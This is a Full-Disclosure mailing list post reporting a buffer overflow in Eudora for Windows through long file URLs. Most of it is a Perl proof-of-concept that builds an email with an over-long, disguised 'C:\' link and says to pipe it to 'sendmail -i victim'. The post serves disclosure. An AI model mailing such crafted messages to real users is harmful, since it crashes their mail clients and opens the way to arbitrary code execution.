[Full-Disclosure] Eudora file URL buffer overflow
From: Paul Szabo (pszmaths.usyd.edu.au)

There is a buffer overflow in Eudora for Windows, verified on versions
6.1, 6.0.3 and 5.2.1. This is easily exploitable to run arbitrary code.
I do not know if this issue affects Eudora for Macs.
print "From: me\n";
print "To: you\n";
print "Subject: Eudora file URL buffer overflow demo\n";
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";
print "The following is a \"proper\" HTML URL, pointing to somewhere long:\n";
print "<a href=\"C:\\", "A"x300, "\">\n";
print "Fake URL to http://anywhere/I/want</a>\n";
print "Clicking above will crash Eudora.\n\n";
print "The following plain-text converted by Eudora into a clickable URL\n";
print "is for comparison: the user can hardly tell them apart.\n\n";
